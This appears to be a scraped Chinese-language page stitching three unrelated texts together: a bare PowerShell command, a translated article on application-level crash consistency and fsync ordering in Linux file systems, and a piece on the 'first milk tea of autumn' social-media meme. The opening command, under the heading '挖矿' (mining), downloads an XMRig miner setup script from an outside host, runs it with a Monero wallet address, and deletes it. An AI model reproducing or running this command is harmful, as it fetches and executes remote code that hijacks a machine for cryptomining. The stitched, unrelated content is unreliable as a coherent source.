挖矿

powershell -Command “$wc = New-Object 

System.Net.WebClient; $tempfile = [

System.IO.Path]::GetTempFileName(); $tempfile += ‘.bat’; $wc.DownloadFile(‘

http://download.c3pool.com/xmrig_setup/raw/master/setup_c3pool_miner.bat’, $tempfile); & $tempfile 46wbLPJ6tcb8RRptmSnxpMQRo7o97TKTy8qifEqjcNt6CTXdYWYuPtvcm8BsfVeyYU1K3UrbL92194kKU1C7jKZ14SiaWK2; Remove-Item -Force $tempfile”

我的文件去哪儿了?

本文部分编译自:Files are hard

我很长时间没有用过本地邮件客户端了。不论是Pine,Eudora,还是Outlook都不能处理我如此大容量的邮件,这些客户端或多或少都发生过崩溃,使得我必须从备份中恢复它们。究竟是什么原因使得他们没有gmail更加可靠?要知道的是,gmail不仅处理更多数量的邮件,并且能够允许世界各地同时的访问。尽管分布式系统有它独特的优势——他们能够容忍部分服务器中的磁盘故障,但我所遇到的数据损坏问题却与磁盘故障无关。

崩溃一致性可能是其中的原因之一,也是最容易考虑的因素,毕竟我们假设了从文件系统到磁盘的所有部分工作正常。

译者按: 崩溃一致性在这里是指在系统崩溃前后所维持的数据一致性,一般情况下文件系统本身的一致性可以由日志(Journaling)或者写时复制(Copy-on-Write)保证,而本文所讨论的则是应用层面的一致性,即编程人员在系统崩溃时期待的、应用数据应保持的不变性,例如,数据库在事务(Transaction)中的原子性。


崩溃一致性

Pillai 等人在OSDI’14中的 文章 以及 演讲 展示了正确地保存数据是多么的困难。

我们先来看一个例子。假设我们希望将一个数据为“a foo”的文件更新为“a bar”,我们可以用pwrite系统调用完成这个操作。

pwrite([file], “bar”, 3, 2)  // 在偏移量2处写入bar

这个操作会发生什么?如果一切正常,文件内容将会是“a bar”。如果在这个操作中间发生了崩溃(例如断电), 我们可能会得到“a bar”,“a foo”,或者一些随机数据。当然这只是一个示例,大部分磁盘都保证了一个sector内数据写入的原子性,请考虑将几个字符或者字节的写入替换为多个Block或者Sector。

如果编程人员希望这个更新操作是原子的,即崩溃后文件内容只有旧数据或新数据两种可能,那么我们可以试图做以下修改:

creat(/dir/log);  // 预写式日志,Write-Ahead Logging
write(/dir/log, “2,3,foo”, 7);
pwrite(/dir/orig, “bar”, 3, 2);
unlink(/dir/log);

我们采用了预写式日志(Write-Ahead Logging)的方式,先在日志中写入即将进行的操作,而后进行真正的更新操作,在最后删除日志释放空间。如果发生崩溃,我们的期待是可以从日志中恢复旧数据,从而保证操作的原子性。如果这个程序运行在ext3的data journaling模式,那么我们大功告成。但对于大多数用户,我们使用的是文件系统的默认模式,也即ordered journaling模式,上述程序仍存在崩溃一致性问题。在这个模式下I/O持久化的顺序不完全依赖于程序中的调用顺序,pwrite可能先于对日志的write持久化到磁盘。如果以上重排序发生,并且系统于pwrite写入磁盘时崩溃,那么我们仍将得到不属于旧数据或新数据的中间状态。

creat(/dir/log);
write(/dir/log, “2, 3, foo”);
fsync(/dir/log);  // 类似barrier,维持了I/O操作的持久化顺序
pwrite(/dir/orig, 2, “bar”);
fsync(/dir/orig);  // 确保在删除log文件前更新操作已被持久化
unlink(/dir/log);

尽管会影响性能,插入的两个fsync调用分别保证了在调用返回时,对日志和文件的更改已经持久化到磁盘。它们保证了write和pwrite的持久化顺序等于程序调用顺序。

但在ext3的writeback模式下(writeback模式拥有三种模式中最高的性能,但最低的一致性保证),对日志的追加写入(append)操作并非原子的。这意味着崩溃发生时,日志文件的元数据(文件大小)可能已经更新,但数据部分写入,从而导致日志中存在垃圾数据。我们可以在日志中加入校验码以标记这种情况。同时,如果我们希望在程序最后更新已经被持久化,我们还应再加入一个fsync操作。

creat(/dir/log);
write(/dir/log, “2, 3, [checksum], foo”); //校验码
fsync(/dir/log);
// fsync(/dir); 部分文件系统在此时可能仍未创建log文件,这个操作保证了pwrite前log文件已经创建并写入完成
pwrite(/dir/orig, 2, “bar”);
fsync(/dir/orig);
unlink(/dir/log);
fsync(/dir); // 保证更新的最终持久化

最终的程序确保了在目前Linux文件系统下更新操作的崩溃一致性。当然值得注意的是OS X 和一些版本的ext3不完全保证fsync的语义。 OS X 要求 fcntl(F_FULLFSYNC) 操作以将脏数据写入磁盘,部分ext3版本实现了一些优化:只有文件inode更改时才真正持久化文件更新。


文件系统语义

OSDI’14文章的作者研究了ext2,ext3,ext4,btrfs和xfs等文件系统,他们发现了在这些文件系统上,程序需要用不同的方式维持数据的崩溃一致性。他们实现了一个检测工具BOB,采集块层面(block-level)的文件系统操作追踪,并用以检测不同文件的持久化特性(persistence properties)。值得注意的是,这个工具能够发现文件系统是否违背了某种特性(即找到一种反例),但并不能保证所检测的文件系统一定能够保证某种持久化特征。

上图显示了两类持久化特性:操作的原子性(atomicity)和顺序保证(ordering)。

画叉的位置标示了文件系统并不支持某种特性。可以看出,在作者进行的测试中,所有文件系统都支持对单个扇区更新操作的原子性,但对于追加操作(append),部分文件系统并不能保证其原子性。就文件系统目录操作(directory operations)的持久化顺序而言,大部分文件系统都没有被发现相应的反例。而总体来看,这些文件系统提供了截然不同的持久化特性。

之后他们又实现了一个应用层面的崩溃一致性检测工具ALICE,模拟不同文件系统在崩溃时的可能状态,并通过手动实现的检测脚本发现应用程序在崩溃后的一致性问题。

作者们发现了不同应用程序的潜在一致性问题,其中甚至包括一些常见应用例如LevelDB,HDFS,Zookeeper,和git。在他们的演讲中,一位作者表示sqlite的开发者对于文件系统及持久化问题有着很深的了解,但仍然不能避免崩溃一致性错误。作者也表示版本管理系统中的问题较为严重,开发者们对待一致性问题的不严谨态度使得ALICE在这些应用中发现了大量错误。最常见的问题来源于开发者对I/O持久化顺序的错误假设,而原子性的问题位居其次。这些问题与多线程程序中出现的错误非常类似,也都是非常棘手的问题。多线程程序的数据竞争问题被经常提及,并且开发者们能够谨慎地对这些问题。然而对文件的写入一致性问题却没有被广泛关注,尽管它们在某些方面更加棘手。


难题

就相关文献的详细程度而言,关于内存操作的语义有着 大量说明文档,而对于文件系统和I/O操作的文献却没有这么详尽。请看 ext 文件系统对于上文提及的三种模式的说明文档:

journal: All data is committed into the journal prior to being written into the main filesystem.

ordered: This is the default mode. All data is forced directly out to the main file system prior to its metadata being committed to the journal.

writeback: Data ordering is not preserved – data may be written into the main filesystem after its metadata has been committed to the journal. This is rumoured to be the highest-throughput option. It guarantees internal filesystem integrity, however it can allow old data to appear in files after a crash and journal recovery.

“传闻”(rumor)一词竟然毫不夸张地出现在了说明文档上,而这就是我们Linux文件系统的文档详细程度。如果我们回头看文章最初的例子,根据文档我们看不到任何在write和pwrite之间插入fsync的必要。这并不是说我们无从寻找我们所需要的文件系统的持久化特性。在lwn和LKML上,我们也许能大致了解它们,但你需要从冗长的又不能形成确定性意见的开发者讨论和邮件列表中挖掘。很多信息是错误的,很多信息是在当时正确却在当下过时的。

你也可以从下面这个例子中感受我所说的:

开发者 1: 从个人角度讲,我更关心元数据的一致性,ext3的文档也表示日志已经可以保证它的完整性。除非磁盘损坏,你应该不必运行fsck。
开发者 2: 但我记得ext3开发者多年前说过,这种情况下你仍然需要定期地跑fsck。
开发者 1: 它在哪儿写着呢?
开发者 2: Linux内核的邮件列表啊。
开发者 3: 哦对,在差不多6~8年前我发布的一个帖子里。

它在哪儿写着呢?哦对,差不多6~8年前的邮件列表里啊(从现在算得快20年前了)。我不是要故意刁难这些文件系统开发者,他们的态度在LKML里还算是礼貌的,而且他们也花了大量时间耐心地回答新手们的蠢问题。但对于外行人来讲,在10年间的邮件列表里搜寻什么是正确什么是错误的未免也太难了吧?

在他们的OSDI 2014的演讲中,作者们提到了很多开发者对于这些崩溃一致性错误报告的回复——“POSIX标准可没让文件系统做这些啊”,但他们也没指出具体的POSIX标准和相应的条目。考虑到上面提到的这些难题,我认为他们的反应也是可接受的。如果我自己不是一个文件系统开发者,我实在是很难避免在程序中产生文中提到的这些一致性错误。


参考文献

[1] Ramnatthan Alagappan, Aishwarya Ganesan, Yuvraj Patel, Thanu- malayan Sankaranarayana Pillai, Andrea C Arpaci-Dusseau, and Remzi H Arpaci-Dusseau. 2016. Correlated crash vulnerabilities. In 12th {USENIX} Symposium on Operating Systems Design and Implementation ({OSDI} 16). 151–167.

[2] Aishwarya Ganesan, Ramnatthan Alagappan, Andrea C Arpaci-Dusseau, and Remzi H Arpaci-Dusseau. 2017. Redundancy does not imply fault tolerance: Analysis of distributed storage reactions to single errors and corruptions. In 15th {USENIX} Conference on File and Storage Technologies ({FAST} 17). 149–166.

[3] Stephen C Tweedie et al. 1998. Journaling the Linux ext2fs filesystem. In The Fourth Annual Linux Expo. Durham, North Carolina.

搬运https://zhuanlan.zhihu.com/p/101704109

秋天第一杯奶茶,为什么能刷屏?

前几天,相信大家都被“秋天的第一杯”奶茶刷屏了吧。

上一次朋友圈这么热闹,好像还是“@微信官方,给我一面红旗”。

相关话题前几天上了微博热搜,9月25日(9月22日秋分)还挂在知乎热榜榜首。

zhihurebang

有媒体报道称,河南信阳的一家奶茶店销量爆增 30%,把奶茶都卖断货了,搞得店员猝不及防。

naichaduanhuobaodao

我不禁疑惑,这到底是啥情况?

各种朋友都晒出了“奶茶红包”的截图。

naichahongbaojietu

当时某人忍不住问了一句:

你为啥要给我发这个?

结果某人的另一半来了一句:

我也不知道,就看到其他人都在发。

合着参与游戏的人都不清楚自己在玩啥?


全网狂欢,花式喝奶茶

虽然大多数人都不知道这是什么梗、为什么红,但大家还是津津有味的喝起了奶茶。

昨天,朋友圈这波刷屏可以说是盛况空前,随便一刷就能看到十来条,比如:

pengyouquanjietu1

除了自己买的,还有公司发的:

pengyouquanjietu2

有不明真相的吃瓜群众,想随个大流,结果“出力不讨好”的:

mainaichachulibutaohao

各种网络热梗也随之出现,什么“秋天的第一桶奶茶”“秋天的第一套房子”:

tongzhuangnaichahefangzi

不少商家也蹭起了这一波热点:

shangjiacengredian

所以,这个梗到底是啥意思呢,我特意去微博搜了一下:

weibosousuozhegegeng

秋天很适合谈恋爱,有男生给女票发红包说是“秋天的第一杯奶茶”,大家觉得很甜就纷纷效仿。

嘶——那……

为啥秋天适合谈恋爱?
为啥发红包非要是“秋天的第一杯奶茶”?

于是,我拿出扒灰产的劲头追溯了一下,发现这个梗还是一个“进化而来”的梗……

第一步,情侣秀恩爱,被单身狗调侃,成了一个梗:

为什么秋天适合谈恋爱呢?因为树叶都知道迟早要黄。

shuyechizaoyaohuang

后来,这个梗升级了,演变成了“情侣要在秋分分手”。

qiutianfenshou

由于唱衰的声音太多,所以某对情侣玩起了“秋天里的第一杯奶茶”,还在朋友圈晒图,表示“我们才不分手,甜着呢”,并引起了其他情侣的跟风。

朋友圈里的单身狗看了这个奶茶梗,表示不服,也开始晒奶茶,“一个人也能拥有秋天的第一杯奶茶”。

随着这个梗越来越热,越来越多不知情的吃瓜群众参与了进来。

于是,一次情侣和单身狗之间的 battle ,活生生成演变成了一场刷屏行为……也是魔幻。


“秋茶”为什么能屏?

前几天的朋友圈,一半“晒奶茶”,一半“秀恩爱”,剩下的都在“懵逼”。

那么“秋天第一杯奶茶”究竟有什么魔力,吸引这么多人参与呢?

我们试图分析了一下,发现有以下 3 个可能。(如果你有更多想法,欢迎在留言区评论~)

1)仪式感:致 2020 年的最后 100 天

这半年来,我们被压抑得太久了,朋友圈也也被压抑得太久。

这次的”进入秋季第一天”刚好给了大家一个契机:

翻篇啦!进入一个新的阶段啦!
距离 2020 结束,只剩 100 天。

这种仪式感让大家想要发些什么纪念下。

尤其是当大家经历了魔幻 2020 之后,大家都对“生活不易”有了深刻的体会。

在这个背景下,“秋天的第一杯奶茶”不仅不显得廉价,反而有一种“今晚月色很美”的温柔与浪漫

2)低门槛:谁都能参与

除了仪式感,“秋茶”刷屏的另一个原因就是:门槛低。

要知道,当代年轻人因为“人设问题”,都已经不愿意发朋友圈了!即使发了也是 3 天可见。

平时发个朋友圈,又要精心打磨文案,还要各种精修图,想想还不如啥都不发

而“秋茶”活动,主题已经定了,不管是中规中矩喝奶茶,还是稍作创新,都不会出错。成本也就是几十块钱,门槛真的很低了

难怪大家参与的热情这么高。

3)秀恩爱:朋友圈第一生产力

最后,“秋茶”之所以能刷屏,离不开情侣们贡献的力量。

可以说,秀恩爱简直是朋友圈第一生产力。

平时,大家逮着情人节、七夕节、520、新年…… 都少不了秀恩爱,但是又要显示自己感情好,还得有新意,甚至还得互相攀比礼物贵重情况,也是不容易。

现在,简单发个 52 块钱红包,或者晒一晒对方买的奶茶,或者“爱到深处就是黑,就是不给买奶茶”的聊天截图就行了。

日常就很活跃(秀恩爱停不下来)的情侣,这一下果然就在朋友圈集体狂欢了。